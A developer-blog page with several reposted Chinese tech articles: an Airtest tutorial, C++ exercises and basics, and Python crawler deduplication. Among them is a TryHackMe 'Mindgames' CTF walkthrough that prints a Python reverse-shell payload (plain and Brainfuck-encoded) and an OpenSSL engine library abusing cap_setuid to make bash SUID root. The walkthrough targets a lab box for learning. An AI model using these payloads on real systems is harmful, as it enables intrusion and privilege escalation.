开发者博客 – IT技术 尽在开发者博客

开发者博客 – 科技是第一生产力


  • 首页

  • 归档

  • 搜索

UI 自动化找元素太难?AIRtest 框架你值得拥有!

发表于 2021-11-26

引言

Airtest 是网易出品的一款基于图像识别和 poco 控件识别的一款 UI 自动化测试工具,网易团队自己开发的一个图像识别框架,让计算机用户不需要一行行的去写代码,而是用屏幕截屏的方式,用截出来的图形摆列组合成神奇的程序。

另外,Airtest 也基于 poco 这个控件搜索框架,这也是网易自家的跨平台测试框架,原理类似于 selenium,通过控件的 name,id 等来定位元素,然后调用函数方法,例如 click(),send_keys()之类的方法来对目标控件进行相关的操作。

这个基于图形化识别的 Airtest Project 解决方案被开发并开源出来之后,十分有效地降低了自动化测试的门槛,真正使自动化测试带来测试效率的提升。Google 表示 Airtest 是安卓游戏最强大、最全面的自动测试方案之一。

所以,这么好用、强大的自动化框架,我们当然要来学一学了!

原理介绍

Airtest 目前集成了 Chrome 浏览器基于 selenium 进行 Web 自动化测试,通过录制得到的 python 脚本,调用 chromedriver 驱动浏览器执行指定动作,所以通过录制后的脚本你会发现应用的就是 selenium 的语法。所以原理下图所示:

图片.png

安装

AirTest Project 官方网站:airtest.netease.com/,去官网找到最新的版本下载即可!

下载好的 AirtestIDE 是免安装的,直接解压后,得到的 AirtestIDE 文件夹已经帮你集成了所有的环境,自带录制脚本栏,自动生成脚本,自带编辑器还自带模拟器,可以直接轻松简单的开始录制脚本了。

界面认识

解压后,到 AirtestIDE 路径下点击“AirtestIDE.exe”即可启动 AirtestIDE。

图片.png

启动后的界面,通过选择“窗口—>Selenium Window”,就可以显示 selenium 相关的操作控制按钮。具体界面显示如下:

图片.png

打开后的窗口如图所示:

图片.png

我们来一个个按钮认识一下它们对应的功能:

打开并设置浏览器:

图片.png

这是浏览器按钮,点击后,即可启动一个被 selenium 驱动控制的浏览器;后续的录制操作也可以通过操作这个启动的浏览器而进行;

启动浏览器之后,会有如下图所示的提示信息出来,点击“Yes”,就可以生成初始化的脚本。

图片.png

脚本如下图:

图片.png

Airttest 支持的浏览器默认是 Chrome,当然也支持其他的浏览器,但是这个是推荐,应该是支持的最好,所以推荐使用 Chrome 浏览器。

要使用 Airtest 进行 Chrome 自动化脚本录制于执行前,需要指定 Chrome 浏览器启动的路径,并使 Airtest 内置的 chromedriver 与浏览器版本配套。

Airtest 的最新版本自带较新的稳定版本的 Chromedriver.exe(自行匹配的版本),需要匹配对应的 Chrome 浏览器。通过 Airtest 设置菜单,在 selenium 选项中,设置 Chrome 浏览器安装路径,如图:

图片.png

图片.png

这样就可以顺利使用 Chrome 浏览器进行 Web 自动化测试了。

打开网页

图片.png

start_web 按钮就是启动浏览器后打开对应的网页,点击后生成的代码如下:

图片.png

然后修改括号里的内容为对应的网址,比如打开“百度”的页面,就可以修改如下代码:

driver.get(“www.baidu.com“)

然后运行就可以启动打开该网页的浏览器了!

页面其他的操作

我们在做 Web 自动化的时候,经常需要操作页面的标签页的切换以及页面的返回等,所以 Airtest 也有这种常用操作的按钮可以直接进行相关的操作。

比如下图中所示:

图片.png

切换到上一个页面-previous_tab,点击后就会自动生成如下代码:

图片.png

切换到下一个新的页面-new_tab,点击后就会自动生成一下代码:

图片.png

返回上一个页面:back,生成的代码如下:

图片.png

前进到下一个页面:forward,代码如下:

图片.png

如果有 Python 自动化基础的同学不难发现,这几个操作生成的代码跟 Python 的代码是差不多的。这里可以直接实现页面的对应的操作,而不需要自己去写代码。

录制脚本

Airtest 之所以能很大程度减少我们 Web 自动化的成本,就是因为他能够提供录制的功能!以下的按钮可以跟我们的脚本录制相关。

图片.png

图片.png

录制按钮,点击后进行的浏览器的操作,对应的脚本就会被录制下来;

图片.png

touch 按钮:用于录制点击到的页面元素的点击操作,相当于 click 操作;

图片.png

text 文本按钮:用于录制文本输入的操作的脚本,相当于 send_keys()操作的;

图片.png

assert 按钮:用于断言元素是否存在,点击后可以直接生成对应的断言的脚本。

这些录制按钮的具体操作及脚本效果和修改,我们下篇文章再做具体讲解。敬请期待!

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

【Tryhackme】Mindgames(brainfuck

发表于 2021-11-26

免责声明

本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用,请不要将文中使用的工具和渗透思路用于任何非法用途,对此产生的一切后果,本人不承担任何责任,也不对造成的任何误用或损害负责。

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
less复制代码┌──(root💀kali)-[~/tryhackme/Mindgames]
└─# nmap -sV -Pn 10.10.170.96
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-26 03:13 EST
Nmap scan report for 10.10.170.96
Host is up (0.31s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.58 seconds

80端口页面显示了一种奇怪的编程语言,有输入框,查了一下这种编程语言叫Brainfuck

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
css复制代码Sometimes those bad ideas get turned into a CTF box.
I'm so sorry.

Ever thought that programming was a little too easy? Well, I have just the product for you. Look at the example code below, then give it a go yourself!

Like it? Purchase a license today for the low, low price of 0.009BTC/yr!
Hello, World

+[------->++<]>++.++.---------.+++++.++++++.+[--->+<]>+.------.++[->++<]>.-[->+++++<]>++.+++++++..+++.[->+++++<]>+.------------.---[->+++<]>.-[--->+<]>---.+++.------.--------.-[--->+<]>+.+++++++.>++++++++++.

Fibonacci

--[----->+<]>--.+.+.[--->+<]>--.+++[->++<]>.[-->+<]>+++++.[--->++<]>--.++[++>---<]>+.-[-->+++<]>--.>++++++++++.[->+++<]>++....-[--->++<]>-.---.[--->+<]>--.+[----->+<]>+.-[->+++++<]>-.--[->++<]>.+.+[-->+<]>+.[-->+++<]>+.+++++++++.>++++++++++.[->+++<]>++........---[----->++<]>.-------------.[--->+<]>---.+.---.----.-[->+++++<]>-.[-->+++<]>+.>++++++++++.[->+++<]>++....---[----->++<]>.-------------.[--->+<]>---.+.---.----.-[->+++++<]>-.+++[->++<]>.[-->+<]>+++++.[--->++<]>--.[----->++<]>+.++++.--------.++.-[--->+++++<]>.[-->+<]>+++++.[--->++<]>--.[----->++<]>+.+++++.---------.>++++++++++...[--->+++++<]>.+++++++++.+++.[-->+++++<]>+++.-[--->++<]>-.[--->+<]>---.-[--->++<]>-.+++++.-[->+++++<]>-.---[----->++<]>.+++[->+++<]>++.+++++++++++++.-------.--.--[->+++<]>-.+++++++++.-.-------.-[-->+++<]>--.>++++++++++.[->+++<]>++....[-->+++++++<]>.++.---------.+++++.++++++.+[--->+<]>+.-----[->++<]>.[-->+<]>+++++.-----[->+++<]>.[----->++<]>-..>++++++++++.

Try before you buy.

然后我在谷歌搜索了一下,在这个网站可以把Brainfuck和python互相转换。那就很简单了,我们只需要写一个python的反弹shell就可以拿到初始shell

我们使用以下payload:

1
lua复制代码import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.21.169",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")

翻译成Brainfuck语言是:

1
css复制代码++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.++++.+++.-.+++.++.<<++.>>-.----.------------.++++++++.------.+++++++++++++++.<<++++++++++++.>>-----.++++.<<.>>---.++++.+++++.<-----------.>------.<++.>.----.------------.++++++++.------.+++++++++++++++.<<++.>>-.----.------------.++++++++.------.+++++++++++++++.<<------.>>-.----.------------.++++++++.------.+++++++++++++++.<<++++++.>++++.+++++.>---------------------.<+++.+++++.---------.>-----------.<<--.>>+++++++++++++++++++++++++++++++.----.------------.++++++++.------.+++++++++++++++.<<++.>++++++++++++++.----.------------.++++++++.++++++++++++++++++++.------------.+.--.-------------.----.++++++++++++.<-----.++++++++++++++++++.>>-.<<-------------.>>----------------.++++++++++++.-..---------.--.+++++++++++++++++.<<------..------.+++++++++++++++.-.--.+++.++.-----.++++.-.---.+++.+++++.+++.-----------------------.++++++++++.++++++++.--.++.--.---------..++++++++++++++++++.>>-----.++++.<<-------------.>>---------------.+++++++++++++++++.-----.<<++++.----------.>>+++.<<++++++.>>-------------.+++.+++.-------.+++++++++.+.<<------.+.+++.++++.-------.++++++++++++++++++.>>.++++.<<-------------.>>---------------.+++++++++++++++++.-----.<<++++.----------.>>+++.<<++++++.>>-------------.+++.+++.-------.+++++++++.+.<<------.+.+++.+++++.--------.++++++++++++++++++.>>.++++.<<-------------.>>---------------.+++++++++++++++++.-----.<<++++.----------.>>+++.<<++++++.>>-------------.+++.+++.-------.+++++++++.+.<<------.+.+++.++++++.---------.++++++++++++++++++.>>+.++++.+++++.<<-------------.>>------.---.---------------.++++++++++++++++++++++.---------.<<------.------.+++++++++++++.>>------------.+++++++.+++++.<<.>>+++++.-----------.<<-------------.+++++++.

在页面执行上面Brainfuck代码,拿到反弹shell

1
2
3
4
5
6
7
8
9
10
scss复制代码┌──(root💀kali)-[~/tryhackme/Mindgames]
└─# nc -lnvp 4242 130 ⨯
listening on [any] 4242 ...
connect to [10.13.21.169] from (UNKNOWN) [10.10.170.96] 57554
$ id
id
uid=1001(mindgames) gid=1001(mindgames) groups=1001(mindgames)
$ whoami
whoami
mindgames

在/home/mindgames拿到user.txt

没有密码我们看不到sudo特权

提权

传linpea,发现openssl有setuid能力:

1
2
3
4
ini复制代码Files with capabilities (limited to 50):
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/openssl = cap_setuid+ep
/home/mindgames/webserver/server = cap_net_bind_service+ep

我们准备以下代码,保存成priv.c,参考这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
arduino复制代码#include <openssl/engine.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

static const char *engine_id = "test";
static const char *engine_name = "hope it works";

static int bind(ENGINE *e, const char *id)
{
int ret = 0;

if (!ENGINE_set_id(e, engine_id)) {
fprintf(stderr, "ENGINE_set_id failed\n");
goto end;
}
if (!ENGINE_set_name(e, engine_name)) {
printf("ENGINE_set_name failed\n");
goto end;
}
setuid(0);
setgid(0);
system("chmod +s /bin/bash");
system("echo Complete!");
ret = 1;
end:
return ret;
}

IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()

上面代码主要是把bash变成一个SUID文件

编译成priv.so文件

1
2
3
4
5
bash复制代码┌──(root💀kali)-[~/tryhackme/Mindgames]
└─# gcc -c -fPIC priv.c -o priv 1 ⨯

┌──(root💀kali)-[~/tryhackme/Mindgames]
└─# gcc -shared -o priv.so -lcrypto priv

传到靶机

执行以下命令:

/usr/bin/openssl req -engine /tmp/priv.so

此时已经执行了setuid命令,但是另外需要开一个shell,重新在web上反弹一个新shell,执行bash -p,提权到root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
scss复制代码┌──(root💀kali)-[~/tryhackme/Mindgames]
└─# nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.13.21.169] from (UNKNOWN) [10.10.170.96] 57578
$ python3 -c "__import__('pty').spawn('/bin/bash')"
python3 -c "__import__('pty').spawn('/bin/bash')"
bash-4.4$ bash -p
bash -p
bash-4.4# id
id
uid=1001(mindgames) gid=1001(mindgames) euid=0(root) egid=0(root) groups=0(root),1001(mindgames)
bash-4.4# whoami
whoami
root
bash-4.4# cat /root/root.txt
cat /root/root.txt

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

数据结构PTA72——括号匹配

发表于 2021-11-26

这是我参与11月更文挑战的第18天,活动详情查看:2021最后一次更文挑战

1.编译运行

在这里插入图片描述

  • 需求

请编写程序判断一个包含“(”和“)”的括号序列是否匹配。如匹配则输出Match;如不匹配,计算出使该序列变为匹配序列所需添加的最少括号数目(只允许在该序列开始和结尾处添加括号),并输出经添加最少括号后得到的合法匹配序列。

  • 输入格式

输入为一个字符串,包含不超过100000个括号。

  • 输出格式

若输入的括号序列匹配,则输出Match。若不匹配,则输出分为2行,第1行为一个整数,表示将该序列变为匹配序列所需添加的最少括号数目,第2行为一个字符串,表示经添加最少括号后得到的合法匹配序列。

2.样例

  • 输入样例1:

(())()

  • 输出样例1:

Match

  • 输入样例2:

)(

  • 输出样例2:

2

()()

  • 输入样例3:

4

((()))(())

3.代码块

  • 顺序栈存储结构定义
1
2
3
4
5
6
7
8
cpp复制代码typedef struct{
//top指针指向栈顶
SElemType *top;
//base指针指向栈底
SElemType *base;
//顺序栈的大小
int stackSize;
}SqStack;
  • 顺序栈S初始化
1
2
3
4
5
6
7
8
9
10
11
12
cpp复制代码Status InitStack(SqStack &S){
//动态分配一个SElemType类型MAXSIZE长度的空间
//将地址给顺序栈S的栈底指针
S.base = new SElemType[MAXSIZE];
//判断,若顺序栈的栈底指针(S.base)为空,没有地址,则没有分配成功
if(!S.base) return ERROR;
//空的顺序栈,所以栈顶指针=栈底指针
S.top=S.base;
// 空的顺序栈,由MAXSIZE个空间可以存
S.stackSize = MAXSIZE;
return OK;
}
  • 进栈,将e压入顺序栈S中
1
2
3
4
5
6
7
cpp复制代码Status push(SqStack &S,SElemType e){
//判断栈是否满栈
if(S.top-S.base==S.stackSize) return ERROR;
//将e存入S.top,存入栈顶,栈顶指针top++向上移动
*S.top++=e;
return OK;
}
  • 出栈,将栈顶元素给e
1
2
3
4
5
6
7
cpp复制代码Status pop(SqStack &S,SElemType &e){
//判断栈内是否有元素,为空栈
if(S.top==S.base) return ERROR;
//栈顶指针下移,将栈顶元素赋给e
e=*--S.top;
return OK;
}
  • 取栈顶元素 ,赋值给e
1
2
3
4
5
6
7
cpp复制代码Status GetTop(SqStack S,SElemType &e){
//判断栈内是否有元素,为空栈
if(S.top==S.base) return ERROR;
//返回栈顶元素的值,栈顶指针不变
e=*(S.top-1);
return OK;
}
  • 判断栈是否为空
1
2
3
4
5
6
7
cpp复制代码int stackEmpty(SqStack S){
//空返回1
if(S.top==S.base)
return 1;
//非空返回0
return 0;
}
  • 括号匹配
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
cpp复制代码	int flag =1; 
char e;
for(int i=0;i<str.length();i++){
switch(str[i]){
//1.左括号进栈
case '(':
push(S,str[i]);
break;
// 2.右括号
case ')':
{
//与栈顶元素比较,如果栈非空并且栈顶是同类型的左括号,则出栈,表明匹配
GetTop(S,e);
if( !stackEmpty(S) && e=='(')
pop(S,e);
//如果栈空,说明右括号多,不匹配,需要补左括号
else{
left++;
flag=0;
}
}
break;
}
}
  • 输出Match或输出需要补的括号
1
2
3
4
5
6
7
8
9
10
11
12
13
cpp复制代码if(	stackEmpty(S)	&&	flag==1	) {
cout<<"Match"<<endl;
//否则如果栈空,则栈内还有左括号,说明左括号多了,匹配不成功,需要补同等数量的右括号
}else{
if(!stackEmpty(S))
right =right+S.top-S.base;
cout<<left+right<<endl;
for(int i=0;i<left;i++)
cout<<'(';
cout<<str;
for(int i=0;i<right;i++)
cout<<')';
}

4.源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
cpp复制代码#include<iostream>
using namespace std;
#define ERROR 0
#define OK 1
#define MAXSIZE 100001
typedef char SElemType;
typedef int Status;

typedef struct{
//top指针指向栈顶
SElemType *top;
//base指针指向栈底
SElemType *base;
//顺序栈的大小
int stackSize;
}SqStack;

//顺序栈S初始化
Status InitStack(SqStack &S){
//动态分配一个SElemType类型MAXSIZE长度的空间
//将地址给顺序栈S的栈底指针
S.base = new SElemType[MAXSIZE];
//判断,若顺序栈的栈底指针(S.base)为空,没有地址,则没有分配成功
if(!S.base) return ERROR;
//空的顺序栈,所以栈顶指针=栈底指针
S.top=S.base;
// 空的顺序栈,由MAXSIZE个空间可以存
S.stackSize = MAXSIZE;
return OK;
}

//进栈,将e压入顺序栈S中
Status push(SqStack &S,SElemType e){
//判断栈是否满栈
if(S.top-S.base==S.stackSize) return ERROR;
//将e存入S.top,存入栈顶,栈顶指针top++向上移动
*S.top++=e;
return OK;
}

//出栈,将栈顶元素给e
Status pop(SqStack &S,SElemType &e){
//判断栈内是否有元素,为空栈
if(S.top==S.base) return ERROR;
//栈顶指针下移,将栈顶元素赋给e
e=*--S.top;
return OK;
}

//取栈顶元素 ,赋值给e
Status GetTop(SqStack S,SElemType &e){
//判断栈内是否有元素,为空栈
if(S.top==S.base) return ERROR;
//返回栈顶元素的值,栈顶指针不变
e=*(S.top-1);
return OK;
}

//判断栈是否为空
int stackEmpty(SqStack S){
//空返回1
if(S.top==S.base)
return 1;
//非空返回0
return 0;
}

//利用栈先进后出消去一组的括号
int match(SqStack &S,string str,int &count){

}

int main(){
//创建栈S
SqStack S;
//记录需要补的左括号
int left=0;
//记录需要补的右括号
int right=0;
//初始化栈S
InitStack(S);
string str;
cin>>str;
//根据match返回的1,0输出match或not match
int flag =1;
char e;
for(int i=0;i<str.length();i++){
switch(str[i]){
//1.左括号进栈
case '(':
push(S,str[i]);
break;
// 2.右括号
case ')':
{
//与栈顶元素比较,如果栈非空并且栈顶是同类型的左括号,则出栈,表明匹配
GetTop(S,e);
if( !stackEmpty(S) && e=='(')
pop(S,e);
//如果栈空,说明右括号多,不匹配,需要补左括号
else{
left++;
flag=0;
}
}
break;
}
}
//如果栈空,且flag==1说明匹配成功,输出Match
if( stackEmpty(S) && flag==1 ) {
cout<<"Match"<<endl;
//否则如果栈空,则栈内还有左括号,说明左括号多了,匹配不成功,需要补同等数量的右括号
}else{
//栈不为空,则栈里所有的括号都是'('
if(!stackEmpty(S))
right =right+S.top-S.base;
//输出需要补括号的数量
cout<<left+right<<endl;
for(int i=0;i<left;i++)
cout<<'(';
cout<<str;
for(int i=0;i<right;i++)
cout<<')';
}
return 0;
}

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Python 爬虫数据去重的几种实现浅析

发表于 2021-11-26

「这是我参与11月更文挑战的第 25 天,活动详情查看:2021最后一次更文挑战」

爬虫去重的场景

1、防止发出重复的请求

2、防止存储重复的数据

爬虫数据去重实现的基本原理

根据给定的判断依据和给定的去重容器,将原始数据逐一进行判断,判断去重容器中是否有该数据,如果没有那就把该数据对应的判断依据添加去重容器中,同时标记该数据是不重复数据,如果有就不添加,同时标记该数据是重复数据

  • 判断依据(原始数据、原始数据特征值) - 如何规定两个数据是重复的?
  • 去重容器(存储判断原始数据的判断依据)

去重容器

以原始数据为判断依据

以原始数据的特征值为判断依据,不会占用太大的空间

临时去重容器和持久化去重容器

1、临时去重容器

指如利用list、set等编程语言的数据结构存储去重数据,一旦程序关闭或重启后,去重容器中的数据就被回收了。
优点:使用与实现简单方便;

缺点:但无法共享、无法持久化

2、持久化去重容器

指如利用 redis、mysql 等数据库存储去重数据。

优点:持久化、共享;

缺点:但使用与实现相对复杂

常用几种特殊的原始数据特征值计算

1、信息摘要 hash 算法(指纹)
2、SimHash 算法 - 模糊文本
3、布隆过滤器方式 - 上亿级别的数据去重

基于信息摘要算法的去重

信息摘要hash算法指可以将任意长度的文本、字节数据,通过一个算法得到一个固定长度的文本。 如MD5(128位)、SHA1(160位)等。

特征:只要源文本不同,计算得到的结果,必然不同(摘要)。

摘要:摘要算法主要用于比对信息源是否一致,因为只要源发生变化,得到的摘要必然不同;而且通常结果要比源短很多,所以称为“摘要”。

正因此,利用信息摘要算法能大大降低去重容器的存储空间使用率,并提高判断速度,且由于其强唯一性的特征,几乎不存在误判。

注意:hash 算法得出的结果其实本质上就是一串数值,如 md5 的 128 位指的是二进制的长度,十六进制的长度是 32 位。一个十六进制等于四个二进制。

基于 simhash 算法的去重

Simhash 算法是一种局部敏感哈希算法,能实现相似文本内容的去重

信息摘要算法:如果原始内容只相差一个字节,所产生的签名也很可能差别很大。

Simhash 算法:如果原始内容只相差一个字节,所产生的签名差别非常小。

Simhash 值比对:通过两者的 simhash 值的二进制位的差异来表示原始文本内容的差异。差异个数又被称为海明距离。

注意

Simhash对长文本 500 字 + 比较适用,短文本可能偏差较大

在 google 的论文给出的数据中,64位 simhash 值,在海明距离为 3 的情况下,可认为两篇文档是相似的或者是重复的。当然这个值只是参考值,针对自己的应用可能有不同的测试取值

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

C++基础知识与语法 C++编译过程 数据类型 变量 指针

发表于 2021-11-26

C++编译过程

编译器

编译器,就是将程序(C、C++、Java等)翻译成计算器能够读懂的二进制指令。 C++等语言使用编译器编译连接所写程序生成可执行文件,JAVA等语言使用JVM虚拟机将程序翻译成字节码并交给虚拟机执行。

gcc与g++

gcc是GNU计划(打造出一套完全自由(即自由使用、自由更改、自由发布)、开源的操作系统)的产物之一,起初是专门针对C语言的编译器,不过后来经过发展,还可以作为C++、Go、Objective -C 等多种编译语言编写的程序的编译器,现在已经可以称之为“GNU 编译器套件”。

gcc和g++

gcc可以编译C和C++(实际上gcc、g++指令是对ccp(预处理指令)、cc1(编译指令)、as(汇编指令)指令的包装),两者的主要区别在于:

  • gcc会根据文件名后缀去自行判断出文件类型,如果遇到文件xx.c则默认以编译 C 语言程序的方式编译此文件,遇到文件xx.cpp,则默认以编译 C++ 程序的方式编译此文件。
  • g++命令无论目标文件的后缀名是什么,都一律按照编译 C++ 代码的方式编译该文件。因为C++兼容C语言,所以就算遇到xx.c,g++同样也可以以C++方式编译

但gcc编译C++代码会比g++更加繁琐一些,默认无法找到标准库以及类对象等从而导致报错,因此推荐使用g++编译器。

使用g++编译器通过参数指定编译过程,如-o参数直接指定生成可执行文件:g++ main.cpp -o test

编译过程

编译器具体的编译过程可以分为4个步骤:预处理(Preprocessing)、编译(Compilation)、汇编(Assembly)和链接(Linking)

image_CYztZ1gzp_.png

  1. 预处理:真正的编译前的准备工作,主要处理源文件和头文件中以#开头的命令,如 #include、#define、#ifdef 等。预处理的结果是生成.i文件。.i文件也是包含C语言代码的源文件,只不过所有的宏已经被展开,所有包含的文件已经被插入到当前文件中。
  2. 编译:把预处理完的文件进行一些列的词法分析、语法分析、语义分析以及优化后生成相应的汇编代码文件。编译后生成汇编.s文件。
  3. 汇编:将汇编代码转化为机器码的过程,主要是汇编语句和机器指令的对照表一一翻译。生成后缀为o的目标文件。
  4. 链接:引入代码中使用到的“库”文件,生成可执行文件。

数据类型

C++是静态语言,声明变量必须指定类型,类型是C++编程的基础。类型规定了对象的存储要求和所能执行的操作。 C++提供了一套基础内置类型,如int和char等,这些类型与实现它们的机器硬件密切相关。

1
2
3
4
5
6
7
8
9
c++复制代码short s = 100; //短整型,16位
int i = 100; // 整型,16位或32位,编译器决定
long l = 100; // 长整型,32位
long long ll = 100; //c++11引入,64位
float f = 200.0; // 单精度浮点数,6位有效数字
double d = 200.0; // 双精度浮点数,10位有效数字
char c = 'd'; // 8位
//字符串
char *str = "JakePrim";

内置类型的机器实现:为了赋予内存中某个地址明确的含义,必须首先知道存储在该地址的数据的类型。类型决定了数据所占的比特数以及该如何解释这些比特的内容

带符号类型和无符号类型:通过在类型名前添加unsigned就可以得到无符号类型,如unsigned long,类型unsigned int可以缩写为unsigned

自动类型转换

当在程序的某处使用了一种类型而其实对象应该取另一种类型时,程序会自动进行类型转换

1
2
3
4
5
6
c++复制代码bool b = 12;          // true
int i = b; // i的值为1
i = 3.14; // i的值为3
double pi = i; // pi的值为3.0
unsigned char c = -1; // 假设 char占8比特,c的值为255
signed char c2 = 256; // 假设char占8比特,c2的值是未定义的

编译器自动进行类型转换,因此一种常用的技巧是使用算数值直接作为条件判断:while(i){...}

自动类型转换容易导致出错,且需要注意:当一个算术表达式中既有无符号数又有int值时,那个int值就会转换成无符号数,因此切勿混用带符号类型和无符号类型

1
2
3
4
c++复制代码unsigned u = 10;
int i = -42;
std::cout << i + i << std::endl; // 输出-84
std::cout << u + i << std::endl; // 如果int占3位,输出4294967264

浮点型字面值可以表现为一个小数或以科学计数法表示的指数,其中指数部分用E或e标识:

1
2
c++复制代码3.14159 
3.14159e0

变量

变量定义的基本形式是:类型说明符后紧跟由一个或多个变量名组成的列表,其中变量名以逗号分隔,最后以分号结束。列表中每个变量名的类型都由类型说明符指定,定义时还可以为一个或多个变量赋初值:

1
c++复制代码int sum = 0, value;

当对象在创建时获得了一个特定的值,就说这个对象被初始化(initialized)了。用于初始化变量的值可以是任意复杂的表达式。当一次定义了两个或多个变量时,对象的名字随着定义也就马上可以使用了。 因此在同一条定义语句中,可以用先定义的变量值去初始化后定义的其他变量:

1
c++复制代码double price = 109.99, discount = price * 0.16;

在C++中,初始化是一个异常复杂的问题,初始化和赋值是两个完全不同的操作。初始化不是赋值,初始化的含义是创建变量时赋予其一个初始值,而赋值的含义是把对象的当前值擦除,以一个新值来替代。

默认初始化

如果定义变量时没有指定初值,则变量被默认初始化(default initialized),此时变量被赋予默认值。默认值到底是什么由变量类型决定,同时定义变量的位置也会对此有影响。如,string类规定如果没有指定初值则生成一个空串:

1
c++复制代码std::string empty; // empty非显式地初始化为一个空串

如果是内置类型的变量未被显式初始化,它的值由定义的位置决定(作用域)。定义于任何函数体之外的变量被初始化为0。但是,定义在函数体内部的内置类型变量将不被初始化(uninitialized)。一个未被初始化的内置类型变量的值是未定义的,如果试图拷贝或以其他形式访问此类值将引发错误,因此最好显示初始化变量。

1
2
3
4
5
c++复制代码int main(){
int c;
cout << c << endl; // 不是默认0,函数体内部的内置类型变量将不被初始化
return 0;
}

作用域

C++中大多数作用域以花括号分隔。C++中大多数作用域以花括号分隔。文件内为全局作用域,函数有函数作用域。
需要注意,不应该返回局部变量的地址,因为局部变量会在函数返回后被销毁。返回的地址指向一个过期的对象,后面可能发生不可预知的行为。

指针

每一个变量都有一个内存位置,每一个内存位置都定义了可使用连字号(&)运算符访问的地址,它表示了在内存中的一个地址,指针指向某个内存地址,通过*访问内存地址的值(访问指针的值)。

1
2
3
4
5
6
7
c++复制代码// 取址符 &
int var1;
char var2[10];
cout << "var1 变量的地址: " << &var1 << endl; // var1 变量的地址: 0x61ff0c
cout << "var2 变量的地址: " << &var2 << endl; //var2 变量的地址: 0x61ff02
// 指针声明
int *ip = &var1; // 0x61ff0c

指针是变量内存位置的直接地址,指针存储内存地址,即声明的指针只能赋值为地址,指针是一种类型,与某种数据类型绑定,单独使用指针则是内存地址,使用*访问则是变量值,也可以为原内存中的值赋值。

1
2
3
4
c++复制代码int *ip = var1; //error
cout << ip << endl; //invalid conversion from 'int' to 'int*' [-fpermissive]
int *ip = &val1;
*ip = 0;

空指针

在变量声明的时候,如果没有确切的地址可以赋值,为指针变量赋一个 NULL 值,在C中为NULL,C++中为nullptr,尽量使用**nullptr**,访问空指针会使程序崩溃。

1
2
c++复制代码int *ptr = NULL; //空指针
cout << ptr << endl;//0

指针运算

指针是一个用数值表示的地址。因此可以对指针执行算术运算,四种算术运算:++、–、+、-。无法对空指针进行运算。指针会根据数据类型移动指针到下一个内存位置。

1
2
3
4
5
6
7
8
c++复制代码//指针运算
int var[3] = {10, 100, 200};
int *ptr = var;
for (int i = 0; i < 3; i++) {
cout << "Address of var[" << i << "] = " << ptr << endl; // 0x61fee4 0x61fee8 0x61feec
cout << "Value of var[" << i << "] = " << *ptr << endl; // 10 100 200
ptr++; // 移动到下一个位置
}

void*指针

void*是一种特殊的指针类型,可用于存放任意对象的地址。一个void*指针存放着一个地址,但并不知道该地址中到底是什么类型的对象,常用作函数的输入或输出。一种使用场景:如果期望接口(函数)能够接受任何类型的参数,可以使用void*类型。但是在具体使用的时候,必须转换为具体的指针类型,也就是说必须清楚原始传入的是什么类型,然后转换成对应类型。例如准备对结构体进行排序时需要实现排序接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
c++复制代码void qsort(void *base,size_t nmemb,size_t size , int(*compar)(const void *,const void *));
typedef struct student_tag
{
char name[STU_NAME_LEN]; //学生姓名
unsigned int id; //学生学号
int score; //学生成绩
}student_t;
int studentCompare(const void *stu1,const void *stu2)
{
  /*强转成需要比较的数据结构*/
student_t *value1 = (student_t*)stu1;
student_t *value2 = (student_t*)stu2;
return value1->score-value2->score;
}

多级指针

指向指针的指针,单纯的字面意思,和指针的含义一样,地址→存放指针的地址→值

1
2
3
c++复制代码int ival = 1024;
int *pi = &ival; // pi指向一个int型的数
int **ppi = &pi; // ppi指向一个int型的指针

image_ZKjJmLA5-K.png

引用

引用就是变量别名,一旦把引用初始化为某个变量,就可以使用该引用名称或变量名称来指向变量,引用的最初目的就是为了简化指针的使用,与Java中的引用类似。

1
2
3
c++复制代码int ival = 1024;
int &refVal = ival;
int &refVal2;

引用与指针的区别

  • 不存在空引用。引用必须连接到一块合法的内存。
  • 一旦引用被初始化为一个对象,就不能被指向到另一个对象。指针可以在任何时候指向到另一个对象。
  • 引用必须在创建时被初始化。指针可以在任何时间被初始化。

变量名称是变量附属在内存位置中的标签,可以把引用当成是变量附属在内存位置中的第二个标签。因此,可以通过原始变量名称或引用来访问变量的内容,引用必须被初始化,引用可以当做和变量一样使用。

